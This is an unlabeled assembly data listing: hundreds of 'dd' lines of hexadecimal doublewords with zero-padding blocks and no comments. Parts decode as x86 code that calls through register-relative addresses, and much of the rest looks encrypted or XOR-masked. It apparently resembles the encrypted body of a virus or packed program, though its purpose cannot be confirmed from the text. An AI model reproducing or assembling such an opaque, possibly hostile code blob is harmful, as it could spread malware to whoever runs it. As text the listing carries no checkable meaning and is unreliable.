		dd 61h,	2EF1B5FFh, 56E9062Bh, 0FF000000h, 2B18B9B5h, 4BE906h
		dd 0B5FF0000h, 62B2A5Dh, 40E9h,	0A5B5FF00h, 0E9062B21h
		dd 35h,	1D15B5FFh, 2AE9062Bh, 0FF000000h, 2B0ECDB5h, 1FE906h
		dd 0B5FF0000h, 62B0D45h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 323D4D8Dh, 0FFC80306h, 3195FFE1h, 5B062B27h,	0EE1858Bh
		dd 5839062Bh, 0F850F04h, 53000000h, 95FF016Ah, 62B2945h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 62B2C39h, 3E3B8D8Dh,	41890632h, 0E8C38B01h, 0Fh, 196CFCF9h
		dd 46D49AE7h, 933B053h,	0E8B02BB6h, 0Ah, 0C0DA3AAEh, 0FC026216h
		dd 7E9BC2Fh, 0E000000h,	43EB4A0Fh, 5E590A3Dh, 0FFA3C981h
		dd 0C68174ECh, 7598h, 524B24B9h, 1D45680Fh, 8B580000h
		dd 0DEBF0F16h, 0C227F281h, 81F54001h, 2769F2h, 9E95Bh
		dd 0AB080000h, 0B0EF5A60h, 81D70CDFh, 476BBFEAh, 5E961h
		dd 682E0000h, 89AAA518h, 2EE8316h, 4EAEF780h, 48CB8A4Eh
		dd 0FFBD850Fh, 1AB5FFFFh, 3FD48D8Dh, 6A0632h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D8BD7C3h
		dd 62B0889h, 0EE18D89h,	6A062Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 2E48D0C3h, 21E185C7h
		dd 70D0062Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 62E663C3h, 0D6B47072h, 2BE585C7h
		dd 62Bh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 150424h, 50400000h, 0FFCE75C3h, 2B18B9B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 159D89A1h, 0FF062B2Fh, 2B273195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B70F8CDCh
		dd 0FF006AFBh, 2B294595h, 0EBC08B06h, 0F54D32Ch, 0D28A3FB0h
		dd 0C5B89A43h, 1B644986h, 0D7517604h, 0C60E9B68h, 0E8657914h
		dd 0AD9215E8h, 9BB6B9CFh, 33A11D8Ch, 3B765EA8h,	5E8EBh
		dd 47890000h, 0BA2C4EC8h, 271F5CA2h, 0A378BE5Bh, 0C3817CCEh
		dd 66FBh, 8B666052h, 7E9CFh, 180C0000h,	0AA698839h, 0B95A6100h
		dd 1996h, 7958589h, 33FF062Bh, 8B0Fh, 8B580000h, 31E881F3h
		dd 667EF0FEh, 0C081D78Bh, 0F8B6B47h, 81D1BF0Fh,	844EE0C0h
		dd 0BE97Dh, 54C50000h, 8E257A9h, 667C2C59h, 8B0389C7h
		dd 2B17D1BDh, 4EB8306h,	0F01E983h, 1A85h, 0FBB70F00h, 24E9h
		dd 26E5200h, 0DC47DD90h, 0EE6D5AEEh, 0B63847B9h, 0F7E6914h
		dd 97E9FEB7h, 15FFFFFFh, 93B167FDh, 0B675D182h,	26E90Fh
		dd 42100000h, 548h, 8 dup(0)
		dd 4E0E9h, 41DD6800h, 0CDE90632h, 68FFF93Eh, 6324270h
		dd 0F93EC3E9h, 43C268FFh, 0B9E90632h, 7EFFF93Eh, 0D02FEBDDh
		dd 207FBB8Dh, 718E0A3Ch, 0BDDAD6F6h, 1A67A3A5h,	0A2A4BA27h
		dd 73550966h, 3D0758B7h, 88AEA6C1h, 93A14E0Ch, 92D98019h
		dd 2C5BE86Ch, 0BEB50E9Fh, 9AD5FCB2h, 0A12AD4ABh, 10362A05h
		dd 6066A7BBh, 784E1271h, 0D6E86EB1h, 0BBAEA6F5h, 0EBC003ADh
		dd 4CE87694h, 469D950h,	0D8E0CDDBh, 0B178AC6h, 389E2CA0h
		dd 3BD46D3Fh, 0C8C1FB5Ch, 333F6B5Fh, 0EB776BD2h, 309h
		dd 56B54EF7h, 31174AE6h, 0A73E4A95h, 0C28AC68Dh, 5CAF91C7h
		dd 678675C2h, 2C0F3144h, 0E7203EFDh, 0D470E0F9h, 707DCD6Bh
		dd 0B66CD9E7h, 1F0376A9h, 0C22F9FCCh, 0DCC68795h, 32797C82h
		dd 629BCEE1h, 0B01FBBC0h, 79B593D5h, 81C3261Eh,	577C9974h
		dd 46E2CD11h, 0D6A982Ah, 0AE7D53E8h, 355A7h, 0C5FF5C00h
		dd 95ABAEC9h, 645AFE19h, 30144FA8h, 0FDC79BF4h,	9805F401h
		dd 0E700FCC6h, 36514D77h, 84E31F21h, 6C2EEACCh,	813FB1DFh
		dd 0D65292D9h, 0D21F6FF2h, 8D8BF685h, 0D54AD5A7h, 4F4FC6E8h
		dd 0BD0490E0h, 6EFC444Ch, 3A118ADDh, 25719C2Eh,	0CD69F16Dh
		dd 69530782h, 6DE7A2ADh, 18F3D588h, 7901EA06h, 14E971B0h
		dd 92AC7F41h, 0A8379576h, 5B6D2571h, 0E8810C19h, 460DAAF9h
		dd 0FE50DA84h, 0F6256D25h, 0A7C35F61h, 3386F71Dh, 2C27F44Ah
		dd 2C2h, 5C586CF1h, 0EC281C43h,	3FFBCD93h, 4B4761E0h, 94102A2Ch
		dd 352DB669h, 0E2789713h, 96CB24E0h, 5F1976B2h,	30DFBD79h
		dd 0D9828A24h, 6179FF92h, 85D21F6Fh, 0D35D6BF6h, 0A694EBC0h
		dd 0FB5F71B8h, 1A8ADD9Fh, 9B29A704h, 6A6D2600h,	0A5F8D3F5h
		dd 6A208BBDh, 0A478EFD3h, 0F17DA99Dh, 9577649Dh, 1B1h
		dd 53127131h, 0EB6DB475h, 3453FECDh, 4082D83Dh,	72BBD76Bh
		dd 9713352Fh, 9EC92696h, 0C6DEEF72h, 3398868Ah,	3F3E0F9Dh
		dd 0C8BC456Dh, 6BDBD09Ah, 477477h, 71560000h, 0EFC4402h
		dd 0CAC3093Ah, 5B84E959h, 0BB8DD1CCh, 0B1DFCE50h, 8AC65EB8h
		dd 0F2D488D7h, 6E50119h, 36084C4Bh, 5D4BD9F7h, 0F0016D3Eh
		dd 7694DE0Ch, 0CB48776Ch, 1000000h, 51C46672h, 23256D3Eh
		dd 61A8B605h, 32C78165h, 9AA6D3FCh, 94EB2F10h, 6B8AF565h
		dd 7D4EEA24h, 0A506381Eh, 0AF381E56h, 807AF400h, 130F94EBh
		dd 240C4E24h, 0C4C53438h, 4C6AEA31h, 95C8C750h,	0C7C658B3h
		dd 0EB765DC9h, 5274EC94h, 0A67D756h, 0AB43CFDDh, 831E8AD9h
		dd 10342BDCh, 2C0BA7BBh, 17961729h, 5231DC0Bh, 0ACF33A0Ch
		dd 0FB1490AAh, 0C7D75D67h, 0B04A2ED9h, 170E863h, 1A430000h
		dd 0CE95F22Eh, 7FE502FEh, 33324D49h, 0D87E9915h, 18DF2AE6h
		dd 25E1DB7Fh, 7AB690CAh, 8400441Dh, 0D3CFE96Bh,	54D6E209h
		dd 2992D983h, 0D981172Bh, 613C2BE7h, 5BE7C4F8h,	0BCE7C6ECh
		dd 535A44CBh, 0F632144Ch, 0C2A2A69h, 0C781F99Dh, 48470AE1h
		dd 0A5FC2D17h, 3F5A85A3h, 0B7CB2004h, 31818876h, 0F804933Ch
		dd 94EBC076h, 7B96170Bh, 0C6927C6Dh, 0C00F138Ah, 72852735h
		dd 66F86D3Fh, 7E1DA8A7h, 0D78AE5DBh, 85041AF1h,	8F31E47Ah
		dd 0ECFCF3DDh, 46D1CD69h, 0F930144Bh, 3FD449D7h, 545D486Dh
		dd 48E20ED6h, 3D6D3FCEh, 0E796521Dh, 195BA667h,	0B2A4C33Fh
		dd 712C2388h, 3DD8D1F7h, 0AEh, 0D21F6F25h, 0C8BF685h, 88BE5AF8h
		dd 0DA22AE5Fh, 338ADDA3h, 0C781DC2Fh, 3C24C6D2h, 0C1596D26h
		dd 564F3AA5h, 1FBE2C56h, 4C76E847h, 742AE37Fh, 0AC7F591Bh
		dd 0D8079020h, 6A5ED771h, 6EE90C44h, 41DD7D4Eh,	0C2A2A45h
		dd 73F590BFh, 4CFE0A55h, 162B817h, 0D6919019h, 0E46B15F6h
		dd 3F8CB0A9h, 2C487AE0h, 2A8044FDh, 87900C2Ah, 0B7F08DF8h
		dd 0DC1835BAh, 0B82878F2h, 0D9536162h, 0AC62B828h, 0D8D149B2h
		dd 8E9A8FC9h, 62B828FCh, 0B6AE8991h, 8B273B90h,	729E2D20h
		dd 62B828F8h, 4CDB5E8Dh, 0D8A2491h, 31D38F1h, 5000000h
		dd 0DC817A5Eh, 84BC03E8h, 6DF249A2h, 312D705Bh,	0F169B417h
		dd 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h,	6808D833h
		dd 666Eh, 68241C89h, 4F51h, 50241C89h, 405E089h, 83000000h
		dd 48704E8h, 2C895C24h,	40FF6824h, 1C8B0632h, 4C48324h
		dd 242C8B54h, 5004C483h, 8B8h, 89E80100h, 24048B18h, 4C481h
		dd 2C8B0000h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 5B2434FFh, 0E904C483h, 0FFF939F8h, 4557B841h, 0C5030632h
		dd 243EE0FFh, 182B6EAFh, 0A27870BAh, 94356796h,	0A61E1591h
		dd 91424872h, 78C70C27h, 87A95C9Bh, 24B01FD6h, 490302h
		dd 8AFE6122h, 54272DB2h, 9DD310D9h, 825038D9h, 0F5DC6E70h
		dd 4C011716h, 0E27E70F2h, 2AD90AA1h, 0BE81B11h,	92000000h
		dd 0F93BCC40h, 1FB685E3h, 0B70FA18Ch, 0D38058DEh, 0EBC081E2h
		dd 0F000066h, 68Ch, 0B9665100h,	2B5F12CDh, 73ED80D2h, 6010348Bh
		dd 0CE9h, 93237C00h, 28002694h,	0BA99B7B3h, 0EEBA66D9h
		dd 0C6816132h, 7C73C474h, 81DBB70Fh, 588194C6h,	0EE84Ch
		dd 93FD0000h, 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 59CF8B66h
		dd 6411EE81h, 6E94A2Dh,	70000000h, 691FB956h, 8B6656C7h
		dd 10048FCBh, 6830F60h,	81000000h, 0F89F16DFh, 0D4BB661Ah
		dd 8B66614Ch, 9AEA81C8h, 0F5865EDh, 0C281C8B7h,	5865ED96h
		dd 13880Fh, 0EE90000h, 18000000h, 8930CB3Ch, 3D1890D7h
		dd 80547641h, 0E0FA8159h, 0FFFFF99h, 0FFFF5F85h, 0E18166FFh
		dd 13E8A971h, 96000000h, 9A0A4486h, 60B25519h, 28296EDBh
		dd 71F59312h, 665E8A28h, 81A76FBBh, 6446C6h, 0DCBAF900h
		dd 8128FFFBh, 1D0EC2h, 8B5B57D7h, 0FE8B6606h, 4A60C081h
		dd 0E8812BB2h, 1EDC336Ah, 9E8h,	0A8019E00h, 69C788Ch, 0DE8AF74Ch
		dd 69F0815Fh, 0E834CE5Eh, 0Ah, 1D7A8232h, 653A7B4Fh, 59FCE66Bh
		dd 14E950h, 45A0000h, 7D399757h, 0BCCE8B11h, 0CC847790h
		dd 0D53D44BFh, 68F71CFh, 0CE8B6656h, 3EE835Fh, 0A3FEDF81h
		dd 0F54E797Ah, 94850F4Ah, 0FFFFFFFh, 485h, 83BF6600h, 0DE819h
		dd 2A160000h, 62B17468h, 8325BC3h, 0E8B69F89h, 11h, 0B010A805h
		dd 0E4F51CB6h, 0B76CF2B1h, 0DDED8028h, 665B58C2h, 999ECA81h
		dd 6DC5C381h, 0FE80000h, 3000000h, 275EFB15h, 2D1F9DF3h
		dd 8DBE34C8h, 0BF0F5B96h, 0B958FFh, 0E9000000h,	7, 9B441D41h
		dd 0FFB5526Ah, 810F1934h, 4, 0ABC1BA66h, 81FE8B5Eh, 85A31EEEh
		dd 14E936h, 0ADD60000h,	9146B24Bh, 4B0DFCA8h, 0A7176C52h
		dd 2989EA13h, 0C681E8E1h, 149568BBh, 0AA20F681h, 0B8667752h
		dd 6656BF00h, 48FF88Bh,	0BA66F50Bh, 0E983C509h,	46CA8104h
		dd 812C1C5Eh, 0FF9328F9h, 1E850FFFh, 0F000000h,	988h, 3840F00h
		dd 80000000h, 24E931C8h, 18000000h, 720825E8h, 874610EEh
		dd 7CE9F904h, 72FFFFFFh, 36AF3F7Bh, 0DAAED532h,	6B20F3DCh
		dd 916E13h, 8BB745ADh, 0F9BD83C0h, 62B01h, 0BD830975h
		dd 62B1689h, 50197400h,	0B8C08B53h, 421h, 1B818589h, 9D8D062Bh
		dd 62DBF75h, 585BD3FFh,	1689BD83h, 7400062Bh, 0B8535017h
		dd 421h, 1B818589h, 9D8D062Bh, 62DBC64h, 585BD3FFh, 9D8BC08Bh
		dd 62B0809h, 332D85C6h
		dd 6856062Bh, 9CA8B852h, 1BDDB5FFh, 858D062Bh, 62E83EBh
		dd 46AD0FFh, 100068h, 0F5B5FF00h, 6A062B0Eh, 85D0FF00h
		dd 0D850FC0h, 0B8000000h, 0
		dd 71868D8Dh, 0E1FF062Bh, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 0D5BD83D3h, 62B18h, 0E840Fh,	9D8B0000h, 62B18D5h, 35AD858Bh
		dd 389062Bh, 858D5251h,	62B7B21h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 332D85C6h, 6856062Bh, 0D41F6D39h, 1BDDB5FFh
		dd 858D062Bh, 62E83EBh,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 62B01F9h, 83097500h, 2B1689BDh, 19740006h
		dd 0C08B5350h, 421B8h, 79858900h, 8D062B34h, 2DBFDC9Dh
		dd 5BD3FF06h, 89BD8358h, 62B16h, 53501774h, 421B8h, 79858900h
		dd 8D062B34h, 2DBC7D9Dh, 5BD3FF06h, 8DC08B58h, 2B18D59Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 0Bh, 55BD9245h, 7BED3Eh,	5B91F477h, 25C381F5h
		dd 680000E6h, 396Bh, 5E8h, 6ABF600h, 5F583E11h,	0BF0F0B8Bh
		dd 55E981C2h, 0BE250F73h, 3F4F53E4h, 0B0A8C181h, 0C78B52DBh
		dd 0B180E981h, 2AB244B8h, 0B8660B89h, 0EB838578h, 0F4FF804h
		dd 1885h, 21F68100h, 0E971F2D1h, 1Dh, 0F426D0F4h, 248AC176h
		dd 0DBCD124Ah, 8CBA6685h, 0FFAEE90Ch, 266DFFFFh, 436AF20Fh
		dd 13E8B2h, 31570000h, 5AB0C4B2h, 0B965C01Fh, 2278A2CCh
		dd 9DEE71Dh, 5E94Bh, 0A8240000h, 5943AB19h, 81D08B66h
		dd 68B7C1h, 3850F00h, 66000000h, 768C18Bh, 0F00001Ah, 0F5ED1BFh
		dd 580h, 394FBB00h, 398B32FAh, 8A47F781h, 81F50828h, 0B94BE5F7h
		dd 55C0807Bh, 4F87EF81h, 0EE8025E6h, 0F398994h,	0E983C6BFh
		dd 0D8816604h, 0EE83E31Eh, 14850F01h, 56000000h, 5BD08B66h
		dd 20E9h, 0C1FAC900h, 55E96B26h, 0FC8EF382h, 0FFFFB5E9h
		dd 9FF3FFFh, 7D4BE69Ah,	0B8E0707Bh, 0D1C04B6Bh,	0A5CAFE2Bh
		dd 1AA80AB0h, 0E08A4E39h, 0ABA80AB1h, 0B875EAD5h, 0A80AB1h
		dd 0BA8A4E3Eh, 0FD57AE5Dh, 0A88A4E3Eh, 0ABA80AB6h, 7375EAD5h
		dd 23A80AB7h, 0FD8A4E3Fh, 0ADA80AB7h, 778A4E3Fh, 0ABA80AB4h
		dd 2575EAD5h, 1890D42Fh, 0C0031318h, 529A1AADh,	92C90A7h
		dd 0D1215790h, 43B85E39h, 1855D42Fh, 0C0031318h, 529A1AB5h
		dd 8DF90A7h, 0D1215790h, 43B85E35h, 1904D42Fh, 0C0031318h
		dd 529A1A81h, 0B8B90A7h, 0D1215790h, 43B85E01h,	1AEDD42Fh
		dd 0C0031318h, 529A1A8Dh, 0B0490A7h, 0D1215790h, 43B85E1Dh
		dd 1A67D42Fh, 0C0031318h, 529A1A99h, 0A9A90A7h,	0D1215790h
		dd 43B85E15h, 1BF9D42Fh, 0C0031318h, 529A1AE1h,	0A0090A7h
		dd 0D1215790h, 43B85E6Dh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 77C1E7C0h, 0A8ED96A4h, 458A152Ah
		dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h
		dd 0CE75EAD5h, 413AAE63h, 848C3E01h, 11AB5342h,	55FFEA22h
		dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch
		dd 660351A2h, 0EE27BFEAh, 31D2DB2Fh, 94751318h,	0D9020112h
		dd 77EF6FA0h, 0EC79AEA4h, 41AE51A1h, 2E22DC09h,	0BA8C274Fh
		dd 0DF103773h, 0C821732Ah, 66CD2B28h, 0FD5BEA2Ch, 508C152Bh
		dd 3F009881h, 0ABAE63C7h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 77C6A7C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah
		dd 7FB7D030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 77EF6FA0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 458A15C2h, 0BE290BA2h, 43B85823h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 0D775532Ah, 52834E23h, 0CE19CDA1h, 979BFC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 77EF6FA0h, 0D79AEA4h, 2320949Ah
		dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h,	0A82851A2h
		dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h,	45869025h
		dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch,	0A8D5D8AEh
		dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh
		dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h
		dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h,	0B28A152Ah
		dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h,	7F039191h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 9D00B92Ah, 0D4A7B222h
		dd 860085E1h, 2E22DC08h, 0BA8C274Fh, 0FEF8E173h, 20F09FA7h
		dd 85575790h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 54AFE9A2h, 0D775152Ah, 52837AB7h, 0C8204526h, 66CD2B28h
		dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h,	0EFAEA580h
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h,	5A0B87D5h
		dd 8C235789h, 0EF491786h, 31D2DB2Fh, 94751318h,	0BD28E9C4h
		dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h
		dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h
		dd 0C418EA80h, 0DFAE7ABDh, 8558B9E2h, 2E32DC08h, 0BA8C274Fh
		dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h
		dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 0D775BF86h, 52834E23h, 7726DDA1h,	0CE25FB63h
		dd 43B87050h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 77EF6FB0h
		dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh
		dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h
		dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 20F08FA7h, 87575790h
		dd 320A09Ah, 0CE25FB0Eh, 43B87050h, 0ECCE825Dh,	0EEECD8ACh
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 77C5CFC0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 43B85E25h, 0B232DCF1h, 0BA8C2761h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 66E34E38h
		dd 0DF07462Ch, 529A1A44h, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 0EA18FA7h, 0D9FB5790h, 77C1F3B0h,	0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 6332DCAAh,	168C2761h
		dd 1F4ECB2Fh, 96751318h, 0BD54142Bh, 458A152Ah,	0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 0E99D8D00h, 0B8062B2Ch, 1300h, 1FD18589h
		dd 0E8062Bh, 58000000h,	0D05h, 0E9038900h, 1300h, 4C0h dup(0)
		dd 75FDED55h, 76F67A5Eh, 56E669A4h, 0EBFD49BCh,	49FD21E5h
		dd 8EFD21CBh, 0ECFD21DFh, 0DEFD2155h, 0B4FD2190h, 9DFD2172h
		dd 72FD2103h, 69FD21BAh, 94FD21E6h, 6DFD21C8h, 0C6FD21DCh
		dd 23FD2157h, 0FD2191h,	0EDFD2173h, 0A9FD2102h,	0FDFD21B9h
		dd 9DFD21E5h, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
		dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
		dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A7D785h
		dd 75A7D456h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
		dd 0F0701ABCh, 73CF1DBEh, 11EAFFA6h, 0F0707CA5h, 73CF1D3Dh
		dd 162AFF6Ch, 0F0707CC0h, 73CF124Dh, 11EEFF35h,	0F0707C6Ch
		dd 73CF1DBBh, 1626FF1Eh, 0F0707CF9h, 73CF1DB6h,	1622FF7Bh
		dd 0F0707C4Bh, 73CF1F4Dh, 161EFFD7h, 0F0707C1Dh, 73CF1C94h
		dd 161AFF42h, 0F0707CD7h, 73CF1CEBh, 1616FFF0h,	0F0707C8Eh
		dd 73CF1C2Ah, 160AFFA6h, 0F0707CA5h, 73CF1C8Bh,	1612FF6Ch
		dd 0F0707CC0h, 73CF1C26h, 160EFF35h, 0F0707C6Ch, 73CF1C5Bh
		dd 160AFF1Eh, 0F0707CF9h, 73CF1C4Bh, 11FAFF7Bh,	0F0707C4Bh
		dd 73CF1C71h, 11F6FFD7h, 0F0707C1Dh, 73CF1C67h,	11F2FF42h
		dd 0F0707CD7h, 73CF1DCBh, 1606FFF0h, 0F0707C8Eh, 73CF1D2Eh
		dd 1602FFA6h, 0F0707CA5h, 73CF12C0h, 11FEFF6Ch,	0F0767CC0h
		dd 73D665F8h, 11ADFF35h, 0F0767C6Ch, 73D6513Ah,	11A9FF1Eh
		dd 0B69C7CF9h, 9D11F1B0h, 75FD7AF2h, 1117FB23h,	25FB48D9h
		dd 0FDF53FD5h, 479935ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73CF1F39h, 162BFFA0h, 0C87D7C1Dh
		dd 73CF1941h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 11A9EF86h
		dd 0FEBD7C8Eh, 7A452B96h, 8AFD7A2Fh, 47992E02h,	0A248F7CDh
		dd 0F8FB4886h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 47992EBAh, 0A248F791h, 0F8FB48A8h, 8A50FCD1h, 0BC1F2322h
		dd 162BF787h, 2DA07C8Eh, 2CA32005h, 776D92ECh, 0CD4D7A97h
		dd 8A5779C1h, 47992A70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 11ADEFD0h, 0DE9B7CA5h, 77959208h, 360B7AE5h
		dd 6E8872F3h, 11ADEF86h, 0C54D7C8Eh, 8AAD7954h,	47992ABAh
		dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 256885B5h, 2FFB4896h, 51FD5F1Fh,	133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 11A9EF0Dh
		dd 0C0707C4Bh, 73CF1EA7h, 7F518A5Dh, 0E002D02Ch, 73CF1EC7h
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 1630FF69h,	0C87D7CF9h
		dd 73CF1928h, 0F8EC0FF3h, 479945FCh, 61152ABAh,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 1630F787h, 0C87D7C8Eh, 73CF1993h, 0F8F10F2Fh, 47994512h
		dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 21688579h, 0F8FB48D8h
		dd 4795E6C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 47992ACBh, 514ACE29h
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 11ADEF68h, 917D7CF9h
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 47992E70h,	4660F7F4h
		dd 0F8FB481Dh, 0CD3E39A0h, 75FD7A4Eh, 11A9EFD0h, 0B57E7CA5h
		dd 8935F1CEh, 11ADEF1Ah, 97577CC0h, 0BE15B98Eh,	0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 0D917FB04h, 0FCFB4847h
		dd 0CF7D86EAh, 73CF1E84h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 11A9E843h, 0FCBD7C6Ch, 479922ADh, 0F835F191h, 4794FA79h
		dd 256F85E3h, 0FDFB4896h, 801F3C7Fh, 75FD6D04h,	2D7F795Eh
		dd 35FB484Bh, 1C89E01Ah, 0B67E7CF9h, 22FEF3E1h,	75FD644Bh
		dd 2D777979h, 0F8FB48D8h, 479418ECh, 2B598929h,	75FD722Fh
		dd 216F85CBh, 0F6FB4881h, 85897E0Ah, 72447C71h,	7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
